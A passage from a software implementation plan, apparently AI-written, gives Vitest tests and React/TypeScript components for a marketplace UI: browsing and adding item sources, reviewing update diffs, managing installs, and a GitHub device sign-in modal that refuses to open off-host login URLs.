"https://github.com/shadowdao/triple-c-marketplace.git", null, "acc1"); + }); + + it("rejects non-https URLs before calling the backend", () => { + render(); + fireEvent.change(screen.getByLabelText("Name"), { target: { value: "x" } }); + fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "git@github.com:a/b.git" } }); + expect(screen.getByRole("button", { name: "Add marketplace" })).toBeDisabled(); + expect(screen.getByText(/must start with https:\/\//)).toBeInTheDocument(); + }); + + it("shows the backend error and stays open", async () => { + addMarketplace.mockRejectedValue("Work cannot read this repository (HTTP 404)"); + render(); + fireEvent.change(screen.getByLabelText("Name"), { target: { value: "x" } }); + fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "https://github.com/a/b.git" } }); + fireEvent.click(screen.getByRole("button", { name: "Add marketplace" })); + expect(await screen.findByText(/HTTP 404/)).toBeInTheDocument(); + }); +}); +``` + +`app/src/components/marketplace/BrowsePane.test.tsx`: + +```tsx +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen } from "@testing-library/react"; +import { useAppState } from "../../store/appState"; +import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; + +vi.mock("./InstallControls", () => ({ default: () =>
install controls
})); +vi.mock("./AddMarketplaceModal", () => ({ default: () =>
add modal
})); + +import BrowsePane from "./BrowsePane"; + +const it_ = (kind: CatalogItem["kind"], key: string, patch: Partial = {}): CatalogItem => ({ + kind, + key, + name: key, + description: `${key} description`, + path: key, + invalid: null, + hook_commands: [], + preview: `${key} preview body`, + ...patch, +}); + +const snapshot: MarketplaceSnapshot = { + marketplace_id: "m1", + head_commit: "a".repeat(40), + fetched_at: "2026-09-27T12:00:00Z", + fetch_error: "network unreachable", + items: [it_("agent", "code-reviewer"), it_("hook", "notify-on-stop"), it_("skill", "broken", { invalid: "SKILL.md missing" })], +}; + +function api(patch: Partial = {}): MarketplaceApi { + return { + snapshots: [snapshot], + updates: [], + loading: false, + refreshing: [], + load: vi.fn(), + refresh: vi.fn(), + reloadState: vi.fn(), + install: vi.fn(), + uninstall: vi.fn(), + setDisabled: vi.fn(), + update: vi.fn(), + forget: vi.fn(), + remove: vi.fn(), + ...patch, + }; +} + +describe("BrowsePane", () => { + beforeEach(() => { + useAppState.setState({ + appSettings: { + marketplaces: [{ id: "m1", name: "Starter", url: "https://github.com/s/m.git", branch: null, account_id: null }], + marketplace_accounts: [], + global_marketplace_installs: [], + } as unknown as AppSettings, + projects: [], + marketplaceFilterProjectId: null, + }); + }); + + it("lists items, filters by kind and search, and shows detail", () => { + render(); + expect(screen.getByText("network unreachable")).toBeInTheDocument(); + expect(screen.getByRole("button", { name: /code-reviewer/ })).toBeInTheDocument(); + expect(screen.getByRole("button", { name: /notify-on-stop/ })).toBeInTheDocument(); + + fireEvent.click(screen.getByRole("radio", { name: "Hooks" })); + expect(screen.queryByRole("button", { name: /code-reviewer/ })).not.toBeInTheDocument(); + + fireEvent.click(screen.getByRole("radio", { name: "All" })); + fireEvent.change(screen.getByLabelText("Search items"), { target: { value: "review" } }); + expect(screen.queryByRole("button", { name: /notify-on-stop/ })).not.toBeInTheDocument(); + + fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ })); + expect(screen.getByText("code-reviewer preview body")).toBeInTheDocument(); + expect(screen.getByText("install controls")).toBeInTheDocument(); + }); + + it("shows why an item is invalid", () => { + render(); + fireEvent.click(screen.getByRole("button", { name: /broken/ })); + expect(screen.getByText("SKILL.md missing")).toBeInTheDocument(); + }); + + it("refreshes one marketplace", () => { + const mp = api(); + render(); + fireEvent.click(screen.getByRole("button", { name: "Refresh Starter" })); + expect(mp.refresh).toHaveBeenCalledWith("m1"); + }); + + it("offers Add when there are no marketplaces", () => { + useAppState.setState({ + appSettings: { marketplaces: [], marketplace_accounts: [], global_marketplace_installs: [] } as unknown as AppSettings, + }); + render(); + fireEvent.click(screen.getByRole("button", { name: "Add marketplace" })); + expect(screen.getByText("add modal")).toBeInTheDocument(); + }); +}); +``` + +`SegmentedControl` renders a `role="radiogroup"` with one `role="radio"` per segment (`components/ui/SegmentedControl.tsx:51,78`). + +Run: `cd app && npx vitest run src/components/marketplace/AddMarketplaceModal.test.tsx src/components/marketplace/BrowsePane.test.tsx` +Expected: FAIL — modules not found / stub BrowsePane lacks the list. + +- [ ] **Step 4: Implement AddMarketplaceModal** + +`app/src/components/marketplace/AddMarketplaceModal.tsx`: + +```tsx +import { useState } from "react"; +import Modal from "../ui/Modal"; +import Button from "../ui/Button"; +import Field, { inputClass, selectClass } from "../ui/Field"; +import { addMarketplace } from "../../lib/tauri-commands"; +import { useAppState } from "../../store/appState"; +import type { MarketplaceSnapshot } from "../../lib/types"; + +interface Props { + onClose: () => void; + onAdded: (snapshot: MarketplaceSnapshot) => void; +} + +export default function AddMarketplaceModal({ onClose, onAdded }: Props) { + const accounts = useAppState((s) => s.appSettings?.marketplace_accounts ?? []); + const [name, setName] = useState(""); + const [url, setUrl] = useState(""); + const [branch, setBranch] = useState(""); + const [accountId, setAccountId] = useState(""); + const [busy, setBusy] = useState(false); + const [error, setError] = useState(null); + + const trimmedUrl = url.trim(); + const urlProblem = + trimmedUrl !== "" && !trimmedUrl.startsWith("https://") + ? "The repository URL must start with https:// (SSH URLs are not supported)." + : null; + const canSubmit = name.trim() !== "" && trimmedUrl !== "" && !urlProblem && !busy; + + const submit = async () => { + setBusy(true); + setError(null); + try { + const snap = await addMarketplace( + name.trim(), + trimmedUrl, + branch.trim() === "" ? null : branch.trim(), + accountId === "" ? null : accountId, + ); + onAdded(snap); + onClose(); + } catch (e) { + setError(typeof e === "string" ? e : String(e)); + } finally { + setBusy(false); + } + }; + + return ( + + + + + } + > +
+ + {(id) => ( + setName(e.target.value)} className={inputClass} placeholder="Team marketplace" /> + )} + + + {(id) => ( + setUrl(e.target.value)} className={inputClass} placeholder="https://github.com/owner/repo.git" /> + )} + + + {(id) => ( + setBranch(e.target.value)} className={inputClass} placeholder="main" /> + )} + + + {(id) => ( + + )} + + {error && ( +

+ {error} +

+ )} +
+ + ); +} +``` + +`Field` renders its `hint` below the control; the URL problem is shown there so the test can find it by text. + +- [ ] **Step 5: Implement ItemDetail and BrowsePane** + +`app/src/components/marketplace/ItemDetail.tsx`: + +```tsx +import type { CatalogItem } from "../../lib/types"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; +import { KIND_LABELS } from "../../lib/marketplace"; +import StatusIndicator from "../ui/StatusIndicator"; +import InstallControls from "./InstallControls"; + +interface Props { + mp: MarketplaceApi; + item: CatalogItem; + marketplaceId: string; +} + +export default function ItemDetail({ mp, item, marketplaceId }: Props) { + return ( +
+
+

+ {KIND_LABELS[item.kind].replace(/s$/, "")} · {item.path} +

+

{item.name}

+ {item.description &&

{item.description}

} +
+ {item.invalid && ( +
+ +

{item.invalid}

+
+ )} + {item.kind === "hook" && item.hook_commands.length > 0 && ( +
+

Commands this hook runs

+
    + {item.hook_commands.map((c) => ( +
  • + {c} +
    • + ))} +
+
+ )} + {item.preview && ( + 
+          {item.preview}
+
+ )} +
+

Install

+ +

+ Running containers pick changes up on their next start or with “Apply now” on the Installed tab. Changes + apply to new Claude sessions. +

+
+
+ ); +} +``` + +`app/src/components/marketplace/BrowsePane.tsx` (replaces the Task 12 stub): + +```tsx +import { useMemo, useState } from "react"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; +import { useAppState } from "../../store/appState"; +import { KIND_LABELS, KIND_ORDER, itemRefKey } from "../../lib/marketplace"; +import type { CatalogItem, ItemKind } from "../../lib/types"; +import Button from "../ui/Button"; +import SegmentedControl from "../ui/SegmentedControl"; +import { inputClass, selectClass } from "../ui/Field"; +import AddMarketplaceModal from "./AddMarketplaceModal"; +import ItemDetail from "./ItemDetail"; + +type KindFilter = ItemKind | "all"; + +const when = (iso: string | null) => (iso ? new Date(iso).toLocaleString() : "never"); + +export default function BrowsePane({ mp }: { mp: MarketplaceApi }) { + const marketplaces = useAppState((s) => s.appSettings?.marketplaces ?? []); + const projects = useAppState((s) => s.projects); + const filterId = useAppState((s) => s.marketplaceFilterProjectId); + const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId); + const [kind, setKind] = useState("all"); + const [query, setQuery] = useState(""); + const [selected, setSelected] = useState<{ marketplaceId: string; item: CatalogItem } | null>(null); + const [adding, setAdding] = useState(false); + + const rows = useMemo(() => { + const q = query.trim().toLowerCase(); + return mp.snapshots.flatMap((snap) => + snap.items + .filter((i) => kind === "all" || i.kind === kind) + .filter((i) => q === "" || `${i.name} ${i.key} ${i.description}`.toLowerCase().includes(q)) + .sort((a, b) => KIND_ORDER.indexOf(a.kind) - KIND_ORDER.indexOf(b.kind) || a.name.localeCompare(b.name)) + .map((item) => ({ marketplaceId: snap.marketplace_id, item })), + ); + }, [mp.snapshots, kind, query]); + + const nameOf = (id: string) => marketplaces.find((m) => m.id === id)?.name ?? id; + + return ( +
+ + +
+ + label="Item kind" + value={kind} + onChange={setKind} + segments={[ + { value: "all", label: "All" }, + ...KIND_ORDER.map((k) => ({ value: k as KindFilter, label: KIND_LABELS[k] })), + ]} + /> + setQuery(e.target.value)} + placeholder="Search" + className={inputClass} + /> +
    + {rows.map(({ marketplaceId, item }) => { + const key = itemRefKey({ marketplace_id: marketplaceId, kind: item.kind, key: item.key }); + const isSel = + selected?.marketplaceId === marketplaceId && + selected.item.kind === item.kind && + selected.item.key === item.key; + return ( +
  • + +
    • + ); + })} + {rows.length === 0 && mp.snapshots.length > 0 && ( +
  • No items match.
    • + )} +
+
+ +
+ {selected ? ( + + ) : ( +

Select an item to see what it contains and install it.

+ )} +
+ + {adding && ( + setAdding(false)} + onAdded={() => { + void mp.reloadState(); + void mp.load(); + }} + /> + )} +
+ ); +} +``` + +The item buttons include the description in their accessible name; the test's `/code-reviewer/` regexes match it. The selected item's `CatalogItem` is a copy from the snapshot at selection time; after a refresh, re-selecting shows the new data (acceptable, the install controls read install state live from the store). + +- [ ] **Step 6: Run to verify they pass** + +Run: `cd app && npx vitest run src/components/marketplace` +Expected: PASS (InstallControls, AddMarketplaceModal, BrowsePane, MarketplaceView). + +- [ ] **Step 7: Type-check and commit** + +Run: `cd app && npx tsc --noEmit -p .` +Expected: no errors. + +```bash +cd /workspace/triple-c && git add app/src/components/marketplace && git commit -qm "Marketplace UI: browse, item detail, install controls, hook confirmation, add marketplace + +Co-Authored-By: Claude Opus 5.5 " +``` + +--- + +### Task 14: Installed — install list, updates with diff, source removed, Apply now + +**Files:** +- Replace: `app/src/components/marketplace/InstalledPane.tsx` +- Create: `app/src/components/marketplace/UpdateDiffModal.tsx` +- Test: `app/src/components/marketplace/InstalledPane.test.tsx`, `UpdateDiffModal.test.tsx` + +**Interfaces:** +- Consumes: `MarketplaceApi` (`updates`, `snapshots`, `update`, `uninstall`, `forget`), wrappers `marketplaceItemDiff`, `applyMarketplaceNow`, `effectiveInstalls`/`itemRefKey`/`formatItemRef`/`KIND_LABELS` (Task 12), store `appSettings`, `projects`, `pushToast`. +- Produces: `InstalledPane({ mp })`, `UpdateDiffModal({ update, scope, onClose, onAccept })`. + +Update semantics: an `ItemUpdate` is per item (`MarketplaceItemRef` + pinned + head). An item can be installed in several scopes with different pins, so the Installed tab lists one row per install (scope) and shows the badge on each row whose own `commit` differs from the update's `head` for that item. Accepting updates that one install via `updateMarketplaceItem(item, scope)`. + +- [ ] **Step 1: Failing test for UpdateDiffModal** + +`app/src/components/marketplace/UpdateDiffModal.test.tsx`: + +```tsx +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor } from "@testing-library/react"; + +const marketplaceItemDiff = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + marketplaceItemDiff: (...a: unknown[]) => marketplaceItemDiff(...a), +})); + +import UpdateDiffModal from "./UpdateDiffModal"; + +const A = "a".repeat(40); +const B = "b".repeat(40); +const item = { marketplace_id: "m1", kind: "hook" as const, key: "notify" }; + +describe("UpdateDiffModal", () => { + beforeEach(() => vi.clearAllMocks()); + + it("loads the diff from the install's pin to head and accepts", async () => { + marketplaceItemDiff.mockResolvedValue([ + { path: "notify.sh", change: "modified", unified: "-echo old\n+echo new\n" }, + { path: "icon.png", change: "added", unified: null }, + ]); + const onAccept = vi.fn(async () => true); + render(); + await waitFor(() => expect(marketplaceItemDiff).toHaveBeenCalledWith(item, A, B)); + expect(screen.getByText(/\+echo new/)).toBeInTheDocument(); + expect(screen.getByText("Binary file — no text diff")).toBeInTheDocument(); + fireEvent.click(screen.getByRole("button", { name: "Update" })); + await waitFor(() => expect(onAccept).toHaveBeenCalled()); + }); + + it("shows a load error and keeps Update disabled", async () => { + marketplaceItemDiff.mockRejectedValue("commit not in cache"); + render(); + expect(await screen.findByText(/commit not in cache/)).toBeInTheDocument(); + expect(screen.getByRole("button", { name: "Update" })).toBeDisabled(); + }); +}); +``` + +Run: `cd app && npx vitest run src/components/marketplace/UpdateDiffModal.test.tsx` +Expected: FAIL — module not found. + +- [ ] **Step 2: Implement UpdateDiffModal** + +`app/src/components/marketplace/UpdateDiffModal.tsx`: + +```tsx +import { useEffect, useState } from "react"; +import Modal from "../ui/Modal"; +import Button from "../ui/Button"; +import { marketplaceItemDiff } from "../../lib/tauri-commands"; +import { formatItemRef } from "../../lib/marketplace"; +import type { FileDiff, MarketplaceItemRef } from "../../lib/types"; + +interface Props { + item: MarketplaceItemRef; + fromCommit: string; + toCommit: string; + scopeLabel: string; + onClose: () => void; + /** Resolves true when the update was applied. */ + onAccept: () => Promise; +} + +const CHANGE_LABEL: Record = { + added: "added", + removed: "removed", + modified: "modified", +}; + +export default function UpdateDiffModal({ item, fromCommit, toCommit, scopeLabel, onClose, onAccept }: Props) { + const [diffs, setDiffs] = useState(null); + const [error, setError] = useState(null); + const [busy, setBusy] = useState(false); + + useEffect(() => { + let cancelled = false; + marketplaceItemDiff(item, fromCommit, toCommit) + .then((d) => { + if (!cancelled) setDiffs(d); + }) + .catch((e) => { + if (!cancelled) setError(typeof e === "string" ? e : String(e)); + }); + return () => { + cancelled = true; + }; + }, [item, fromCommit, toCommit]); + + const accept = async () => { + setBusy(true); + try { + if (await onAccept()) onClose(); + } finally { + setBusy(false); + } + }; + + return ( + + + + + } + > + {error &&

{error}

} + {!error && diffs === null &&

Loading changes…

} + {diffs && diffs.length === 0 && ( +

No file changes (only the catalog entry changed).

+ )} + {diffs && diffs.length > 0 && ( +
+ {diffs.map((d) => ( +
+

+ {d.path} ({CHANGE_LABEL[d.change]}) +

+ {d.unified === null ? ( +

Binary file — no text diff

+ ) : ( + 
+                  {d.unified}
+
+ )} +
+ ))} +
+ )} + + ); +} +``` + +Run: `cd app && npx vitest run src/components/marketplace/UpdateDiffModal.test.tsx` +Expected: PASS. + +- [ ] **Step 3: Failing test for InstalledPane** + +`app/src/components/marketplace/InstalledPane.test.tsx`: + +```tsx +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor, within } from "@testing-library/react"; +import { useAppState } from "../../store/appState"; +import type { AppSettings, Project } from "../../lib/types"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; + +const applyMarketplaceNow = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + applyMarketplaceNow: (id?: string) => applyMarketplaceNow(id), +})); +vi.mock("./UpdateDiffModal", () => ({ + default: ({ onAccept }: { onAccept: () => Promise }) => ( + + ), +})); + +import InstalledPane from "./InstalledPane"; + +const A = "a".repeat(40); +const B = "b".repeat(40); + +function api(patch: Partial = {}): MarketplaceApi { + return { + snapshots: [], + updates: [], + loading: false, + refreshing: [], + load: vi.fn(), + refresh: vi.fn(), + reloadState: vi.fn(), + install: vi.fn(), + uninstall: vi.fn(async () => true), + setDisabled: vi.fn(), + update: vi.fn(async () => true), + forget: vi.fn(async () => true), + remove: vi.fn(), + ...patch, + }; +} + +describe("InstalledPane", () => { + beforeEach(() => { + vi.clearAllMocks(); + useAppState.setState({ + toasts: [], + appSettings: { + marketplaces: [{ id: "m1", name: "Starter", url: "https://x/y.git", branch: null, account_id: null }], + marketplace_accounts: [], + global_marketplace_installs: [ + { marketplace_id: "m1", kind: "agent", key: "rev", commit: A }, + { marketplace_id: "gone", kind: "skill", key: "old", commit: A }, + ], + } as unknown as AppSettings, + projects: [ + { + id: "p1", + name: "api", + status: "running", + marketplace_installs: [{ marketplace_id: "m1", kind: "command", key: "cmd", commit: B }], + marketplace_disabled: [], + }, + ] as unknown as Project[], + }); + }); + + it("lists global and project installs", () => { + render(); + const global = screen.getByTestId("installed-global"); + expect(within(global).getByText("rev")).toBeInTheDocument(); + const proj = screen.getByTestId("installed-project-p1"); + expect(within(proj).getByText("cmd")).toBeInTheDocument(); + }); + + it("badges and accepts an update for the matching install", async () => { + const mp = api({ + updates: [{ item: { marketplace_id: "m1", kind: "agent", key: "rev" }, pinned: A, head: B }], + }); + render(); + fireEvent.click(screen.getByRole("button", { name: "Review update for rev" })); + fireEvent.click(screen.getByRole("button", { name: "accept diff" })); + await waitFor(() => + expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }), + ); + }); + + it("marks installs whose marketplace was removed and forgets them", () => { + const mp = api(); + render(); + expect(screen.getByText("Source removed")).toBeInTheDocument(); + fireEvent.click(screen.getByRole("button", { name: "Forget installs from removed marketplaces" })); + expect(mp.forget).toHaveBeenCalledWith("gone"); + }); + + it("removes a project install", () => { + const mp = api(); + render(); + fireEvent.click(screen.getByRole("button", { name: "Remove cmd from api" })); + expect(mp.uninstall).toHaveBeenCalledWith( + { marketplace_id: "m1", kind: "command", key: "cmd" }, + { type: "project", project_id: "p1" }, + ); + }); + + it("applies now and summarises the result", async () => { + applyMarketplaceNow.mockResolvedValue([ + { project_id: "p1", report: { installed: ["agent:rev"], updated: [], removed: [], skipped: [], errors: [], finished_at: "" } }, + ]); + render(); + fireEvent.click(screen.getByRole("button", { name: "Apply now" })); + await waitFor(() => expect(applyMarketplaceNow).toHaveBeenCalledWith(undefined)); + await waitFor(() => expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "success" })); + expect(useAppState.getState().toasts[0].message).toContain("1 running project"); + }); +}); +``` + +Run: `cd app && npx vitest run src/components/marketplace/InstalledPane.test.tsx` +Expected: FAIL — stub pane has no lists. + +- [ ] **Step 4: Implement InstalledPane** + +`app/src/components/marketplace/InstalledPane.tsx` (replaces the Task 12 stub): + +```tsx +import { useState } from "react"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; +import { useAppState } from "../../store/appState"; +import { KIND_LABELS } from "../../lib/marketplace"; +import { applyMarketplaceNow } from "../../lib/tauri-commands"; +import type { InstallScope, ItemUpdate, MarketplaceInstall } from "../../lib/types"; +import Button from "../ui/Button"; +import UpdateDiffModal from "./UpdateDiffModal"; + +interface Pending { + install: MarketplaceInstall; + update: ItemUpdate; + scope: InstallScope; + scopeLabel: string; +} + +export default function InstalledPane({ mp }: { mp: MarketplaceApi }) { + const appSettings = useAppState((s) => s.appSettings); + const projects = useAppState((s) => s.projects); + const pushToast = useAppState((s) => s.pushToast); + const [pending, setPending] = useState(null); + const [applying, setApplying] = useState(false); + + const marketplaces = appSettings?.marketplaces ?? []; + const known = new Set(marketplaces.map((m) => m.id)); + const nameOf = (id: string) => marketplaces.find((m) => m.id === id)?.name ?? id; + const globalInstalls = appSettings?.global_marketplace_installs ?? []; + + const updateFor = (i: MarketplaceInstall) => + mp.updates.find( + (u) => + u.item.marketplace_id === i.marketplace_id && + u.item.kind === i.kind && + u.item.key === i.key && + u.head !== i.commit, + ); + + const removedSources = [ + ...new Set( + [...globalInstalls, ...projects.flatMap((p) => p.marketplace_installs)] + .map((i) => i.marketplace_id) + .filter((id) => !known.has(id)), + ), + ]; + + const applyNow = async () => { + setApplying(true); + try { + const results = await applyMarketplaceNow(undefined); + const failed = results.filter((r) => r.report.errors.length > 0); + if (results.length === 0) { + pushToast({ kind: "info", message: "No running projects — changes apply when a project starts." }); + } else if (failed.length === 0) { + pushToast({ + kind: "success", + message: `Marketplace applied to ${results.length} running project${results.length === 1 ? "" : "s"}. New Claude sessions will use it.`, + }); + } else { + pushToast({ + kind: "error", + message: `Marketplace sync failed for ${failed.length} of ${results.length} running projects`, + detail: failed.flatMap((r) => r.report.errors).join("\n"), + }); + } + } catch (e) { + pushToast({ kind: "error", message: "Could not apply marketplace changes", detail: String(e) }); + } finally { + setApplying(false); + } + }; + + const row = (i: MarketplaceInstall, scope: InstallScope, scopeLabel: string, removeLabel: string) => { + const upd = updateFor(i); + const gone = !known.has(i.marketplace_id); + return ( +
  • +
    + {i.key} + + {KIND_LABELS[i.kind].replace(/s$/, "").toLowerCase()} · {nameOf(i.marketplace_id)} · {i.commit.slice(0, 8)} + + {gone && Source removed} +
    +
    + {upd && !gone && ( + + )} + +
    +
    • + ); + }; + + return ( +
    +
    +

    + Installs are pinned to a commit. Containers pick up changes on their next start, or now for running ones. + Changes apply to new Claude sessions. +

    + +
    + + {removedSources.length > 0 && ( +
    +

    + Some installs come from marketplaces that were removed. They are removed from containers at their next + sync. +

    + +
    + )} + +
    +

    All projects

    + {globalInstalls.length === 0 ? ( +

    Nothing installed for all projects.

    + ) : ( +
      {globalInstalls.map((i) => row(i, { type: "global" }, "All projects", `Remove ${i.key} from all projects`))}
    + )} +
    + + {projects.map((p) => ( +
    +

    {p.name}

    + {p.marketplace_installs.length === 0 ? ( +

    + No project-only installs + {p.marketplace_disabled.length > 0 ? ` · opted out of ${p.marketplace_disabled.length} global item(s)` : ""}. +

    + ) : ( +
      + {p.marketplace_installs.map((i) => + row(i, { type: "project", project_id: p.id }, p.name, `Remove ${i.key} from ${p.name}`), + )} +
    + )} +
    + ))} + + {pending && ( + setPending(null)} + onAccept={() => mp.update(pending.update.item, pending.scope)} + /> + )} +
    + ); +} +``` + +Run: `cd app && npx vitest run src/components/marketplace/InstalledPane.test.tsx` +Expected: PASS. + +- [ ] **Step 5: Type-check and commit** + +Run: `cd app && npx tsc --noEmit -p . && npx vitest run src/components/marketplace` +Expected: no type errors; all marketplace tests pass. + +```bash +cd /workspace/triple-c && git add app/src/components/marketplace && git commit -qm "Marketplace UI: installed list, update diff review, apply now + +Co-Authored-By: Claude Opus 5.5 " +``` + +--- + +### Task 15: Accounts — list, test, remove, add (gh on host, gh in container, token) + +**Files:** +- Replace: `app/src/components/marketplace/AccountsPane.tsx` +- Create: `app/src/components/marketplace/AddAccountModal.tsx` +- Create: `app/src/components/marketplace/GhContainerLoginModal.tsx` +- Test: `app/src/components/marketplace/AccountsPane.test.tsx`, `AddAccountModal.test.tsx`, `GhContainerLoginModal.test.tsx` + +**Interfaces:** +- Consumes: wrappers `testMarketplaceAccount`, `removeMarketplaceAccount`, `addMarketplaceTokenAccount`, `addMarketplaceGhHostAccount`, `marketplaceGhHostAvailable`, `startMarketplaceGhContainerLogin`, `cancelMarketplaceGhLogin`, `openUrlExternal`; events `marketplace-gh-login-code` `{ account_id, code, url }`, `marketplace-gh-login-output` `{ account_id, chunk }`; store `appSettings`, `setAppSettings`, `projects`, `pushToast`; `useSettings().loadSettings`. +- Produces: `AccountsPane({ mp })`, `AddAccountModal({ onClose })`, `GhContainerLoginModal({ label, host, projectId, projectName, onClose, onDone })`. + +Event filtering: `startMarketplaceGhContainerLogin` resolves only when the login finishes, so the modal cannot know the new account's id while it runs. It therefore accepts **every** `marketplace-gh-login-*` event while it is open. This is safe because the backend allows one gh login at a time (`MarketplaceManager::set_gh_login_cancel` refuses a second). + +The token input is a password field; the value is sent once to `addMarketplaceTokenAccount` and then cleared from component state. It is never logged or shown again. + +- [ ] **Step 1: Failing test for GhContainerLoginModal** + +`app/src/components/marketplace/GhContainerLoginModal.test.tsx`: + +```tsx +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { act, fireEvent, render, screen, waitFor } from "@testing-library/react"; + +const startMarketplaceGhContainerLogin = vi.fn(); +const cancelMarketplaceGhLogin = vi.fn(); +const openUrlExternal = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + startMarketplaceGhContainerLogin: (...a: unknown[]) => startMarketplaceGhContainerLogin(...a), + cancelMarketplaceGhLogin: () => cancelMarketplaceGhLogin(), + openUrlExternal: (u: string) => openUrlExternal(u), +})); + +const handlers = new Map void>(); +vi.mock("@tauri-apps/api/event", () => ({ + listen: vi.fn(async (name: string, cb: (e: { payload: unknown }) => void) => { + handlers.set(name, cb); + return vi.fn(); + }), +})); + +import GhContainerLoginModal from "./GhContainerLoginModal"; + +describe("GhContainerLoginModal", () => { + beforeEach(() => { + vi.clearAllMocks(); + handlers.clear(); + }); + + it("shows the device code, opens the URL, and finishes", async () => { + let resolve!: (v: unknown) => void; + startMarketplaceGhContainerLogin.mockReturnValue(new Promise((r) => (resolve = r))); + const onDone = vi.fn(); + render( + , + ); + await waitFor(() => expect(handlers.has("marketplace-gh-login-code")).toBe(true)); + await waitFor(() => expect(startMarketplaceGhContainerLogin).toHaveBeenCalledWith("Work", "github.com", "p1")); + + act(() => + handlers.get("marketplace-gh-login-code")!({ + payload: { account_id: "unknown-yet", code: "ABCD-1234", url: "https://github.com/login/device" }, + }), + ); + expect(screen.getByText("ABCD-1234")).toBeInTheDocument(); + fireEvent.click(screen.getByRole("button", { name: "Open GitHub" })); + expect(openUrlExternal).toHaveBeenCalledWith("https://github.com/login/device"); + + await act(async () => resolve({ id: "acc9", label: "Work", host: "github.com", method: "gh_container", username: "me" })); + await waitFor(() => expect(onDone).toHaveBeenCalled()); + }); + + it("refuses to open a non-GitHub URL from the container", async () => { + startMarketplaceGhContainerLogin.mockReturnValue(new Promise(() => {})); + render(); + await waitFor(() => expect(handlers.has("marketplace-gh-login-code")).toBe(true)); + act(() => + handlers.get("marketplace-gh-login-code")!({ + payload: { account_id: "x", code: "ABCD-1234", url: "https://evil.example/login" }, + }), + ); + expect(screen.queryByRole("button", { name: "Open GitHub" })).not.toBeInTheDocument(); + }); + + it("cancels", async () => { + startMarketplaceGhContainerLogin.mockReturnValue(new Promise(() => {})); + const onClose = vi.fn(); + render(); + fireEvent.click(await screen.findByRole("button", { name: "Cancel sign-in" })); + expect(cancelMarketplaceGhLogin).toHaveBeenCalled(); + expect(onClose).toHaveBeenCalled(); + }); +}); +``` + +Run: `cd app && npx vitest run src/components/marketplace/GhContainerLoginModal.test.tsx` +Expected: FAIL — module not found. + +- [ ] **Step 2: Implement GhContainerLoginModal** + +`app/src/components/marketplace/GhContainerLoginModal.tsx`: + +```tsx +import { useEffect, useRef, useState } from "react"; +import { listen, type UnlistenFn } from "@tauri-apps/api/event"; +import Modal from "../ui/Modal"; +import Button from "../ui/Button"; +import StatusIndicator from "../ui/StatusIndicator"; +import { + cancelMarketplaceGhLogin, + openUrlExternal, + startMarketplaceGhContainerLogin, +} from "../../lib/tauri-commands"; +import type { MarketplaceAccount } from "../../lib/types"; + +interface Props { + label: string; + host: string; + projectId: string; + projectName: string; + onClose: () => void; + onDone: (account: MarketplaceAccount) => void; +} + +interface CodeEvent { + account_id: string; + code: string; + url: string; +} +interface OutputEvent { + account_id: string; + chunk: string; +} + +const MAX_OUTPUT = 8000; + +/** Only open device-login pages on the host being signed in to. */ +function safeDeviceUrl(url: string, host: string): string | null { + try { + const u = new URL(url); + return u.protocol === "https:" && u.hostname === host ? u.toString() : null; + } catch { + return null; + } +} + +/** + * Drives `gh auth login --web` inside a running container. The command only + * resolves when the login finishes, so the new account's id is unknown while it + * runs; the modal accepts every gh-login event while open. The backend allows + * one gh login at a time, so there is never another flow's event to confuse. + */ +export default function GhContainerLoginModal({ label, host, projectId, projectName, onClose, onDone }: Props) { + const [code, setCode] = useState(null); + const [url, setUrl] = useState(null); + const [output, setOutput] = useState(""); + const [error, setError] = useState(null); + const [running, setRunning] = useState(true); + const started = useRef(false); + + useEffect(() => { + let cancelled = false; + const unlisteners: UnlistenFn[] = []; + const register = async (name: string, handle: (p: T) => void) => { + const un = await listen(name, (e) => handle(e.payload)); + if (cancelled) un(); + else unlisteners.push(un); + }; + + void (async () => { + await register("marketplace-gh-login-code", (p) => { + setCode(p.code); + setUrl(p.url); + }); + await register("marketplace-gh-login-output", (p) => + setOutput((prev) => { + const next = prev + p.chunk; + return next.length > MAX_OUTPUT ? next.slice(next.length - MAX_OUTPUT) : next; + }), + ); + if (cancelled || started.current) return; + started.current = true; + try { + const account = await startMarketplaceGhContainerLogin(label, host, projectId); + if (!cancelled) { + setRunning(false); + onDone(account); + } + } catch (e) { + if (!cancelled) { + setRunning(false); + setError(typeof e === "string" ? e : String(e)); + } + } + })(); + + return () => { + cancelled = true; + for (const un of unlisteners) { + try { + un(); + } catch { + /* already gone */ + } + } + }; + // Runs once per modal instance; the props do not change while it is open. + // eslint-disable-next-line react-hooks/exhaustive-deps + }, []); + + const cancel = () => { + void cancelMarketplaceGhLogin(); + onClose(); + }; + + const openable = url ? safeDeviceUrl(url, host) : null; + + return ( + + Cancel sign-in + + ) : ( + + ) + } + > +
    + {running && !code && } + {code && running && ( +
    +

    Enter this code on the GitHub device page:

    +

    {code}

    + {openable ? ( + + ) : ( + url &&

    The sign-in URL did not point at {host}; not opening it.

    + )} +
    + )} + {error &&

    {error}

    } + {output && ( + 
    +            {output}
+
    + )} +
